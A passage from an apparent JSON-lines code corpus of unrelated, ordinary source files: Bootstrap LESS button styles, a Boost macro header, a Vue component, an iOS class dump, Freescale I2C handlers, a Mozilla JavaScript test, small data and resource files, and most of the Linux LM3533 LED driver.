none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n"} {"text": "\n// NO INCLUDE GUARDS, THE HEADER IS INTENDED FOR MULTIPLE INCLUSION\n\n// Copyright Aleksey Gurtovoy 2002-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n\n// $Source$\n// $Date$\n// $Revision$\n\n#undef BOOST_TT_AUX_BOOL_TRAIT_VALUE_DECL\n#undef BOOST_TT_AUX_BOOL_C_BASE\n#undef BOOST_TT_AUX_BOOL_TRAIT_DEF1\n#undef BOOST_TT_AUX_BOOL_TRAIT_DEF2\n#undef BOOST_TT_AUX_BOOL_TRAIT_DEF3\n#undef BOOST_TT_AUX_BOOL_TRAIT_SPEC1\n#undef BOOST_TT_AUX_BOOL_TRAIT_SPEC2\n#undef BOOST_TT_AUX_BOOL_TRAIT_IMPL_SPEC1\n#undef BOOST_TT_AUX_BOOL_TRAIT_IMPL_SPEC2\n#undef BOOST_TT_AUX_BOOL_TRAIT_PARTIAL_SPEC1_1\n#undef BOOST_TT_AUX_BOOL_TRAIT_PARTIAL_SPEC1_2\n#undef BOOST_TT_AUX_BOOL_TRAIT_PARTIAL_SPEC2_1\n#undef BOOST_TT_AUX_BOOL_TRAIT_PARTIAL_SPEC2_2\n#undef BOOST_TT_AUX_BOOL_TRAIT_IMPL_PARTIAL_SPEC2_1\n#undef BOOST_TT_AUX_BOOL_TRAIT_CV_SPEC1\n"} {"text": "<template>\n <section class=\"app-main\">\n <transition name=\"fade-transform\" mode=\"out-in\">\n <router-view :key=\"key\" />\n </transition>\n </section>\n</template>\n\n<script>\nexport default {\n name: 'AppMain',\n computed: {\n key() {\n return this.$route.path\n }\n }\n}\n</script>\n\n<style scoped>\n.app-main {\n /*50 = navbar */\n min-height: calc(100vh - 50px);\n width: 100%;\n position: relative;\n overflow: hidden;\n}\n.fixed-header+.app-main {\n padding-top: 50px;\n}\n</style>\n\n<style lang=\"scss\">\n// fix css style bug in open el-dialog\n.el-popup-parent--hidden {\n .fixed-header {\n padding-right: 15px;\n }\n}\n</style>\n"} {"text": "/* Generated by RuntimeBrowser\n Image: /System/Library/PrivateFrameworks/DeviceManagement.framework/DeviceManagement\n */\n\n@interface DMFFetchDeviceUnlockTokenResultObject : CATTaskResultObject {\n NSData * _unlockTokenData;\n}\n\n@property (nonatomic, readonly, copy) NSData *unlockTokenData;\n\n+ (bool)supportsSecureCoding;\n\n- (void).cxx_destruct;\n- (id)description;\n- (void)encodeWithCoder:(id)arg1;\n- (id)initWithCoder:(id)arg1;\n- (id)initWithUnlockTokenData:(id)arg1;\n- (id)unlockTokenData;\n\n@end\n"} {"text": "/*\n * Copyright (c) 2013 - 2014, Freescale Semiconductor, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * o Redistributions of source code must retain the above copyright notice, this list\n * of conditions and the following disclaimer.\n *\n * o Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and/or\n * other materials provided with the distribution.\n *\n * o Neither the name of Freescale Semiconductor, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"fsl_i2c_shared_function.h\"\n#include \"fsl_device_registers.h\"\n\n/*******************************************************************************\n * Code\n ******************************************************************************/\n\n#if (I2C_INSTANCE_COUNT > 0U)\n/* Implementation of I2C0 handler named in startup code. */\nvoid I2C0_IRQHandler(void)\n{\n I2C_DRV_IRQHandler(I2C0_IDX);\n}\n#endif\n\n#if (I2C_INSTANCE_COUNT > 1U)\n/* Implementation of I2C1 handler named in startup code. */\nvoid I2C1_IRQHandler(void)\n{\n I2C_DRV_IRQHandler(I2C1_IDX);\n}\n#endif\n\n#if (I2C_INSTANCE_COUNT > 2U)\n/* Implementation of I2C2 handler named in startup code. */\nvoid I2C2_IRQHandler(void)\n{\n I2C_DRV_IRQHandler(I2C2_IDX);\n}\n#endif\n\n/*******************************************************************************\n * EOF\n ******************************************************************************/\n\n"} {"text": "/* ***** BEGIN LICENSE BLOCK *****\n* Version: NPL 1.1/GPL 2.0/LGPL 2.1\n*\n* The contents of this file are subject to the Netscape Public License\n* Version 1.1 (the \"License\"); you may not use this file except in\n* compliance with the License. You may obtain a copy of the License at\n* http://www.mozilla.org/NPL/\n*\n* Software distributed under the License is distributed on an \"AS IS\" basis,\n* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n* for the specific language governing rights and limitations under the\n* License.\n*\n* The Original Code is JavaScript Engine testing utilities.\n*\n* The Initial Developer of the Original Code is Netscape Communications Corp.\n* Portions created by the Initial Developer are Copyright (C) 2003\n* the Initial Developer. All Rights Reserved.\n*\n* Contributor(s): igor@icesoft.no, pschwartau@netscape.com\n*\n* Alternatively, the contents of this file may be used under the terms of\n* either the GNU General Public License Version 2 or later (the \"GPL\"), or\n* the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n* in which case the provisions of the GPL or the LGPL are applicable instead\n* of those above. If you wish to allow use of your version of this file only\n* under the terms of either the GPL or the LGPL, and not to allow others to\n* use your version of this file under the terms of the NPL, indicate your\n* decision by deleting the provisions above and replace them with the notice\n* and other provisions required by the GPL or the LGPL. If you do not delete\n* the provisions above, a recipient may use your version of this file under\n* the terms of any one of the NPL, the GPL or the LGPL.\n*\n* ***** END LICENSE BLOCK *****\n*\n*\n* Date: 06 February 2003\n* SUMMARY: Using |instanceof| to check if function is called as a constructor\n*\n* See http://bugzilla.mozilla.org/show_bug.cgi?id=192105\n*\n*/\n//-----------------------------------------------------------------------------\nvar UBound = 0;\nvar bug = 192105;\nvar summary = 'Using |instanceof| to check if f() is called as constructor';\nvar status = '';\nvar statusitems = [];\nvar actual = '';\nvar actualvalues = [];\nvar expect= '';\nvar expectedvalues = [];\n\n\n/*\n * This function is the heart of the test. It sets the result\n * variable |actual|, which we will compare against |expect|.\n *\n * Note |actual| will be set to |true| or |false| according\n * to whether or not this function is called as a constructor;\n * i.e. whether it is called via the |new| keyword or not -\n */\nfunction f()\n{\n actual = (this instanceof f);\n}\n\n\n/*\n * Call f as a constructor from global scope\n */\nstatus = inSection(1);\nnew f(); // sets |actual|\nexpect = true;\naddThis();\n\n/*\n * Now, not as a constructor\n */\nstatus = inSection(2);\nf(); // sets |actual|\nexpect = false;\naddThis();\n\n\n/*\n * Call f as a constructor from function scope\n */\nfunction F()\n{\n new f();\n}\nstatus = inSection(3);\nF(); // sets |actual|\nexpect = true;\naddThis();\n\n/*\n * Now, not as a constructor\n */\nfunction G()\n{\n f();\n}\nstatus = inSection(4);\nG(); // sets |actual|\nexpect = false;\naddThis();\n\n\n/*\n * Now make F() and G() methods of an object\n */\nvar obj = {F:F, G:G};\nstatus = inSection(5);\nobj.F(); // sets |actual|\nexpect = true;\naddThis();\n\nstatus = inSection(6);\nobj.G(); // sets |actual|\nexpect = false;\naddThis();\n\n\n/*\n * Now call F() and G() from yet other functions, and use eval()\n */\nfunction A()\n{\n eval('F();');\n}\nstatus = inSection(7);\nA(); // sets |actual|\nexpect = true;\naddThis();\n\n\nfunction B()\n{\n eval('G();');\n}\nstatus = inSection(8);\nB(); // sets |actual|\nexpect = false;\naddThis();\n\n\n\n\n//-----------------------------------------------------------------------------\ntest();\n//-----------------------------------------------------------------------------\n\n\n\nfunction addThis()\n{\n statusitems[UBound] = status;\n actualvalues[UBound] = actual;\n expectedvalues[UBound] = expect;\n UBound++;\n}\n\n\nfunction test()\n{\n enterFunc('test');\n printBugNumber(bug);\n printStatus(summary);\n\n for (var i=0; i<UBound; i++)\n {\n reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);\n }\n\n exitFunc ('test');\n}\n"} {"text": "7\n25\n4\n40\n43\n38\n5\n57\n54\n38\n42\n3\n2\n3\n30\n68\n6\n7\n5\n4\n7\n5\n50\n4\n2\n5\n45\n4\n38\n37\n4\n38\n47\n8\n37\n51\n4\n2\n31\n51\n2\n41\n38\n49\n48\n41\n81\n2\n4\n17\n34\n48\n2\n4\n9\n44\n6\n7\n2\n5\n8\n39\n2\n5\n6\n5\n7\n6\n6\n5\n1\n33\n37\n2\n3\n57\n3\n32\n31\n6\n47\n64\n62\n4\n41\n8\n31\n50\n42\n35\n5\n40\n35\n45\n5\n2\n54\n9\n47\n3\n5\n4\n5\n2\n59\n3\n2\n5\n5\n7\n4\n44\n4\n4\n5\n5\n6\n2\n4\n33\n12\n3\n37\n15\n12\n31\n40\n48\n33\n43\n53\n4\n38\n5\n5\n5\n32\n9\n1\n41\n4\n5\n57\n6\n40\n1\n5\n8\n6\n3\n2\n40\n10\n7\n9\n4\n12\n0\n9\n38\n38\n44\n7\n4\n64\n7\n4\n57\n35\n60\n1\n37\n4\n66\n6\n30\n5\n51\n6\n34\n5\n5\n3\n7\n2\n45\n43\n4\n3\n2\n7\n8\n1\n2\n33\n32\n6\n38\n35\n10\n2\n2\n3\n5\n2\n8\n1\n3\n8\n3\n23\n5\n4\n14\n8\n65\n5\n2\n31\n4\n38\n9\n2\n39\n3\n37\n46\n36\n35\n2\n30\n2\n3\n6\n39\n38\n35\n36\n5\n4\n3\n56\n4\n3\n5\n51\n28\n7\n7\n4\n50\n4\n8\n49\n24\n5\n5\n24\n2\n5\n2\n32\n2\n2\n2\n5\n32\n57\n0\n6\n2\n47\n6\n7\n10\n4\n49\n6\n7\n27\n4\n4\n6\n1\n5\n2\n4\n5\n"} {"text": "<resources>\n <!-- Example customization of dimensions originally defined in res/values/dimens.xml\n (such as screen margins) for screens with more than 820dp of available width. This\n would include 7\" and 10\" devices in landscape (~960dp and ~1280dp respectively). -->\n <dimen name=\"activity_horizontal_margin\">64dp</dimen>\n</resources>\n"} {"text": "going to sleep for 20 seconds\nfinished sleeping\n"} {"text": "package test\n\ntype typeA struct {\n\tF float64\n}\n\ntype typeForTest struct {\n\tF typeA\n}\n"} {"text": "/*\n * leds-lm3533.c -- LM3533 LED driver\n *\n * Copyright (C) 2011-2012 Texas Instruments\n *\n * Author: Johan Hovold <jhovold@gmail.com>\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n */\n\n#include <linux/module.h>\n#include <linux/leds.h>\n#include <linux/mfd/core.h>\n#include <linux/mutex.h>\n#include <linux/platform_device.h>\n#include <linux/slab.h>\n\n#include <linux/mfd/lm3533.h>\n\n\n#define LM3533_LVCTRLBANK_MIN\t\t2\n#define LM3533_LVCTRLBANK_MAX\t\t5\n#define LM3533_LVCTRLBANK_COUNT\t\t4\n#define LM3533_RISEFALLTIME_MAX\t\t7\n#define LM3533_ALS_CHANNEL_LV_MIN\t1\n#define LM3533_ALS_CHANNEL_LV_MAX\t2\n\n#define LM3533_REG_CTRLBANK_BCONF_BASE\t\t0x1b\n#define LM3533_REG_PATTERN_ENABLE\t\t0x28\n#define LM3533_REG_PATTERN_LOW_TIME_BASE\t0x71\n#define LM3533_REG_PATTERN_HIGH_TIME_BASE\t0x72\n#define LM3533_REG_PATTERN_RISETIME_BASE\t0x74\n#define LM3533_REG_PATTERN_FALLTIME_BASE\t0x75\n\n#define LM3533_REG_PATTERN_STEP\t\t\t0x10\n\n#define LM3533_REG_CTRLBANK_BCONF_MAPPING_MASK\t\t0x04\n#define LM3533_REG_CTRLBANK_BCONF_ALS_EN_MASK\t\t0x02\n#define LM3533_REG_CTRLBANK_BCONF_ALS_CHANNEL_MASK\t0x01\n\n#define LM3533_LED_FLAG_PATTERN_ENABLE\t\t1\n\n\nstruct lm3533_led {\n\tstruct lm3533 *lm3533;\n\tstruct lm3533_ctrlbank cb;\n\tstruct led_classdev cdev;\n\tint id;\n\n\tstruct mutex mutex;\n\tunsigned long flags;\n};\n\n\nstatic inline struct lm3533_led *to_lm3533_led(struct led_classdev *cdev)\n{\n\treturn container_of(cdev, struct lm3533_led, cdev);\n}\n\nstatic inline int lm3533_led_get_ctrlbank_id(struct lm3533_led *led)\n{\n\treturn led->id + 2;\n}\n\nstatic inline u8 lm3533_led_get_lv_reg(struct lm3533_led *led, u8 base)\n{\n\treturn base + led->id;\n}\n\nstatic inline u8 lm3533_led_get_pattern(struct lm3533_led *led)\n{\n\treturn led->id;\n}\n\nstatic inline u8 lm3533_led_get_pattern_reg(struct lm3533_led *led,\n\t\t\t\t\t\t\t\tu8 base)\n{\n\treturn base + lm3533_led_get_pattern(led) * LM3533_REG_PATTERN_STEP;\n}\n\nstatic int lm3533_led_pattern_enable(struct lm3533_led *led, int enable)\n{\n\tu8 mask;\n\tu8 val;\n\tint pattern;\n\tint state;\n\tint ret = 0;\n\n\tdev_dbg(led->cdev.dev, \"%s - %d\\n\", __func__, enable);\n\n\tmutex_lock(&led->mutex);\n\n\tstate = test_bit(LM3533_LED_FLAG_PATTERN_ENABLE, &led->flags);\n\tif ((enable && state) || (!enable && !state))\n\t\tgoto out;\n\n\tpattern = lm3533_led_get_pattern(led);\n\tmask = 1 << (2 * pattern);\n\n\tif (enable)\n\t\tval = mask;\n\telse\n\t\tval = 0;\n\n\tret = lm3533_update(led->lm3533, LM3533_REG_PATTERN_ENABLE, val, mask);\n\tif (ret) {\n\t\tdev_err(led->cdev.dev, \"failed to enable pattern %d (%d)\\n\",\n\t\t\t\t\t\t\tpattern, enable);\n\t\tgoto out;\n\t}\n\n\t__change_bit(LM3533_LED_FLAG_PATTERN_ENABLE, &led->flags);\nout:\n\tmutex_unlock(&led->mutex);\n\n\treturn ret;\n}\n\nstatic int lm3533_led_set(struct led_classdev *cdev,\n\t\t\t\t\t\tenum led_brightness value)\n{\n\tstruct lm3533_led *led = to_lm3533_led(cdev);\n\n\tdev_dbg(led->cdev.dev, \"%s - %d\\n\", __func__, value);\n\n\tif (value == 0)\n\t\tlm3533_led_pattern_enable(led, 0);\t/* disable blink */\n\n\treturn lm3533_ctrlbank_set_brightness(&led->cb, value);\n}\n\nstatic enum led_brightness lm3533_led_get(struct led_classdev *cdev)\n{\n\tstruct lm3533_led *led = to_lm3533_led(cdev);\n\tu8 val;\n\tint ret;\n\n\tret = lm3533_ctrlbank_get_brightness(&led->cb, &val);\n\tif (ret)\n\t\treturn ret;\n\n\tdev_dbg(led->cdev.dev, \"%s - %u\\n\", __func__, val);\n\n\treturn val;\n}\n\n/* Pattern generator defines (delays in us). */\n#define LM3533_LED_DELAY1_VMIN\t0x00\n#define LM3533_LED_DELAY2_VMIN\t0x3d\n#define LM3533_LED_DELAY3_VMIN\t0x80\n\n#define LM3533_LED_DELAY1_VMAX\t(LM3533_LED_DELAY2_VMIN - 1)\n#define LM3533_LED_DELAY2_VMAX\t(LM3533_LED_DELAY3_VMIN - 1)\n#define LM3533_LED_DELAY3_VMAX\t0xff\n\n#define LM3533_LED_DELAY1_TMIN\t16384U\n#define LM3533_LED_DELAY2_TMIN\t1130496U\n#define LM3533_LED_DELAY3_TMIN\t10305536U\n\n#define LM3533_LED_DELAY1_TMAX\t999424U\n#define LM3533_LED_DELAY2_TMAX\t9781248U\n#define LM3533_LED_DELAY3_TMAX\t76890112U\n\n/* t_step = (t_max - t_min) / (v_max - v_min) */\n#define LM3533_LED_DELAY1_TSTEP\t16384\n#define LM3533_LED_DELAY2_TSTEP\t131072\n#define LM3533_LED_DELAY3_TSTEP\t524288\n\n/* Delay limits for hardware accelerated blinking (in ms). */\n#define LM3533_LED_DELAY_ON_MAX \\\n\t((LM3533_LED_DELAY2_TMAX + LM3533_LED_DELAY2_TSTEP / 2) / 1000)\n#define LM3533_LED_DELAY_OFF_MAX \\\n\t((LM3533_LED_DELAY3_TMAX + LM3533_LED_DELAY3_TSTEP / 2) / 1000)\n\n/*\n * Returns linear map of *t from [t_min,t_max] to [v_min,v_max] with a step\n * size of t_step, where\n *\n *\tt_step = (t_max - t_min) / (v_max - v_min)\n *\n * and updates *t to reflect the mapped value.\n */\nstatic u8 time_to_val(unsigned *t, unsigned t_min, unsigned t_step,\n\t\t\t\t\t\t\tu8 v_min, u8 v_max)\n{\n\tunsigned val;\n\n\tval = (*t + t_step / 2 - t_min) / t_step + v_min;\n\n\t*t = t_step * (val - v_min) + t_min;\n\n\treturn (u8)val;\n}\n\n/*\n * Returns time code corresponding to *delay (in ms) and updates *delay to\n * reflect actual hardware delay.\n *\n * Hardware supports 256 discrete delay times, divided into three groups with\n * the following ranges and step-sizes:\n *\n *\t[ 16, 999]\t[0x00, 0x3e]\tstep 16 ms\n *\t[ 1130, 9781]\t[0x3d, 0x7f]\tstep 131 ms\n *\t[10306, 76890]\t[0x80, 0xff]\tstep 524 ms\n *\n * Note that delay group 3 is only available for delay_off.\n */\nstatic u8 lm3533_led_get_hw_delay(unsigned *delay)\n{\n\tunsigned t;\n\tu8 val;\n\n\tt = *delay * 1000;\n\n\tif (t >= (LM3533_LED_DELAY2_TMAX + LM3533_LED_DELAY3_TMIN) / 2) {\n\t\tt = clamp(t, LM3533_LED_DELAY3_TMIN, LM3533_LED_DELAY3_TMAX);\n\t\tval = time_to_val(&t,\tLM3533_LED_DELAY3_TMIN,\n\t\t\t\t\tLM3533_LED_DELAY3_TSTEP,\n\t\t\t\t\tLM3533_LED_DELAY3_VMIN,\n\t\t\t\t\tLM3533_LED_DELAY3_VMAX);\n\t} else if (t >= (LM3533_LED_DELAY1_TMAX + LM3533_LED_DELAY2_TMIN) / 2) {\n\t\tt = clamp(t, LM3533_LED_DELAY2_TMIN, LM3533_LED_DELAY2_TMAX);\n\t\tval = time_to_val(&t,\tLM3533_LED_DELAY2_TMIN,\n\t\t\t\t\tLM3533_LED_DELAY2_TSTEP,\n\t\t\t\t\tLM3533_LED_DELAY2_VMIN,\n\t\t\t\t\tLM3533_LED_DELAY2_VMAX);\n\t} else {\n\t\tt = clamp(t, LM3533_LED_DELAY1_TMIN, LM3533_LED_DELAY1_TMAX);\n\t\tval = time_to_val(&t,\tLM3533_LED_DELAY1_TMIN,\n\t\t\t\t\tLM3533_LED_DELAY1_TSTEP,\n\t\t\t\t\tLM3533_LED_DELAY1_VMIN,\n\t\t\t\t\tLM3533_LED_DELAY1_VMAX);\n\t}\n\n\t*delay = (t + 500) / 1000;\n\n\treturn val;\n}\n\n/*\n * Set delay register base to *delay (in ms) and update *delay to reflect\n * actual hardware delay used.\n */\nstatic u8 lm3533_led_delay_set(struct lm3533_led *led, u8 base,\n\t\t\t\t\t\t\tunsigned long *delay)\n{\n\tunsigned t;\n\tu8 val;\n\tu8 reg;\n\tint ret;\n\n\tt = (unsigned)*delay;\n\n\t/* Delay group 3 is only available for low time (delay off). */\n\tif (base != LM3533_REG_PATTERN_LOW_TIME_BASE)\n\t\tt = min(t, LM3533_LED_DELAY2_TMAX / 1000);\n\n\tval = lm3533_led_get_hw_delay(&t);\n\n\tdev_dbg(led->cdev.dev, \"%s - %lu: %u (0x%02x)\\n\", __func__,\n\t\t\t\t\t\t\t*delay, t, val);\n\treg = lm3533_led_get_pattern_reg(led, base);\n\tret = lm3533_write(led->lm3533, reg, val);\n\tif (ret)\n\t\tdev_err(led->cdev.dev, \"failed to set delay (%02x)\\n\", reg);\n\n\t*delay = t;\n\n\treturn ret;\n}\n\nstatic int lm3533_led_delay_on_set(struct lm3533_led *led, unsigned long *t)\n{\n\treturn lm3533_led_delay_set(led, LM3533_REG_PATTERN_HIGH_TIME_BASE, t);\n}\n\nstatic int lm3533_led_delay_off_set(struct lm3533_led *led, unsigned long *t)\n{\n\treturn lm3533_led_delay_set(led, LM3533_REG_PATTERN_LOW_TIME_BASE, t);\n}\n\nstatic int lm3533_led_blink_set(struct led_classdev *cdev,\n\t\t\t\tunsigned long *delay_on,\n\t\t\t\tunsigned long *delay_off)\n{\n\tstruct lm3533_led *led = to_lm3533_led(cdev);\n\tint ret;\n\n\tdev_dbg(led->cdev.dev, \"%s - on = %lu, off = %lu\\n\", __func__,\n\t\t\t\t\t\t\t*delay_on, *delay_off);\n\n\tif (*delay_on > LM3533_LED_DELAY_ON_MAX ||\n\t\t\t\t\t*delay_off > LM3533_LED_DELAY_OFF_MAX)\n\t\treturn -EINVAL;\n\n\tif (*delay_on == 0 && *delay_off == 0) {\n\t\t*delay_on = 500;\n\t\t*delay_off = 500;\n\t}\n\n\tret = lm3533_led_delay_on_set(led, delay_on);\n\tif (ret)\n\t\treturn ret;\n\n\tret = lm3533_led_delay_off_set(led, delay_off);\n\tif (ret)\n\t\treturn ret;\n\n\treturn lm3533_led_pattern_enable(led, 1);\n}\n\nstatic ssize_t show_id(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%d\\n\", led->id);\n}\n\n/*\n * Pattern generator rise/fall times:\n *\n * 0 - 2048 us (default)\n * 1 - 262 ms\n * 2 - 524 ms\n * 3 - 1.049 s\n * 4 - 2.097 s\n * 5 - 4.194 s\n * 6 - 8.389 s\n * 7 - 16.78 s\n */\nstatic ssize_t show_risefalltime(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tchar *buf, u8 base)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tssize_t ret;\n\tu8 reg;\n\tu8 val;\n\n\treg = lm3533_led_get_pattern_reg(led, base);\n\tret = lm3533_read(led->lm3533, reg, &val);\n\tif (ret)\n\t\treturn ret;\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%x\\n\", val);\n}\n\nstatic ssize_t show_risetime(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\treturn show_risefalltime(dev, attr, buf,\n\t\t\t\t\tLM3533_REG_PATTERN_RISETIME_BASE);\n}\n\nstatic ssize_t show_falltime(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\treturn show_risefalltime(dev, attr, buf,\n\t\t\t\t\tLM3533_REG_PATTERN_FALLTIME_BASE);\n}\n\nstatic ssize_t store_risefalltime(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len, u8 base)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tu8 val;\n\tu8 reg;\n\tint ret;\n\n\tif (kstrtou8(buf, 0, &val) || val > LM3533_RISEFALLTIME_MAX)\n\t\treturn -EINVAL;\n\n\treg = lm3533_led_get_pattern_reg(led, base);\n\tret = lm3533_write(led->lm3533, reg, val);\n\tif (ret)\n\t\treturn ret;\n\n\treturn len;\n}\n\nstatic ssize_t store_risetime(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\treturn store_risefalltime(dev, attr, buf, len,\n\t\t\t\t\tLM3533_REG_PATTERN_RISETIME_BASE);\n}\n\nstatic ssize_t store_falltime(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\treturn store_risefalltime(dev, attr, buf, len,\n\t\t\t\t\tLM3533_REG_PATTERN_FALLTIME_BASE);\n}\n\nstatic ssize_t show_als_channel(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tunsigned channel;\n\tu8 reg;\n\tu8 val;\n\tint ret;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tret = lm3533_read(led->lm3533, reg, &val);\n\tif (ret)\n\t\treturn ret;\n\n\tchannel = (val & LM3533_REG_CTRLBANK_BCONF_ALS_CHANNEL_MASK) + 1;\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%u\\n\", channel);\n}\n\nstatic ssize_t store_als_channel(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tunsigned channel;\n\tu8 reg;\n\tu8 val;\n\tu8 mask;\n\tint ret;\n\n\tif (kstrtouint(buf, 0, &channel))\n\t\treturn -EINVAL;\n\n\tif (channel < LM3533_ALS_CHANNEL_LV_MIN ||\n\t\t\t\t\tchannel > LM3533_ALS_CHANNEL_LV_MAX)\n\t\treturn -EINVAL;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tmask = LM3533_REG_CTRLBANK_BCONF_ALS_CHANNEL_MASK;\n\tval = channel - 1;\n\n\tret = lm3533_update(led->lm3533, reg, val, mask);\n\tif (ret)\n\t\treturn ret;\n\n\treturn len;\n}\n\nstatic ssize_t show_als_en(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tbool enable;\n\tu8 reg;\n\tu8 val;\n\tint ret;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tret = lm3533_read(led->lm3533, reg, &val);\n\tif (ret)\n\t\treturn ret;\n\n\tenable = val & LM3533_REG_CTRLBANK_BCONF_ALS_EN_MASK;\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%d\\n\", enable);\n}\n\nstatic ssize_t store_als_en(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tunsigned enable;\n\tu8 reg;\n\tu8 mask;\n\tu8 val;\n\tint ret;\n\n\tif (kstrtouint(buf, 0, &enable))\n\t\treturn -EINVAL;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tmask = LM3533_REG_CTRLBANK_BCONF_ALS_EN_MASK;\n\n\tif (enable)\n\t\tval = mask;\n\telse\n\t\tval = 0;\n\n\tret = lm3533_update(led->lm3533, reg, val, mask);\n\tif (ret)\n\t\treturn ret;\n\n\treturn len;\n}\n\nstatic ssize_t show_linear(struct device *dev,\n\t\t\t\tstruct device_attribute *attr, char *buf)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tu8 reg;\n\tu8 val;\n\tint linear;\n\tint ret;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tret = lm3533_read(led->lm3533, reg, &val);\n\tif (ret)\n\t\treturn ret;\n\n\tif (val & LM3533_REG_CTRLBANK_BCONF_MAPPING_MASK)\n\t\tlinear = 1;\n\telse\n\t\tlinear = 0;\n\n\treturn scnprintf(buf, PAGE_SIZE, \"%x\\n\", linear);\n}\n\nstatic ssize_t store_linear(struct device *dev,\n\t\t\t\t\tstruct device_attribute *attr,\n\t\t\t\t\tconst char *buf, size_t len)\n{\n\tstruct led_classdev *led_cdev = dev_get_drvdata(dev);\n\tstruct lm3533_led *led = to_lm3533_led(led_cdev);\n\tunsigned long linear;\n\tu8 reg;\n\tu8 mask;\n\tu8 val;\n\tint ret;\n\n\tif (kstrtoul(buf, 0, &linear))\n\t\treturn -EINVAL;\n\n\treg = lm3533_led_get_lv_reg(led, LM3533_REG_CTRLBANK_BCONF_BASE);\n\tmask = 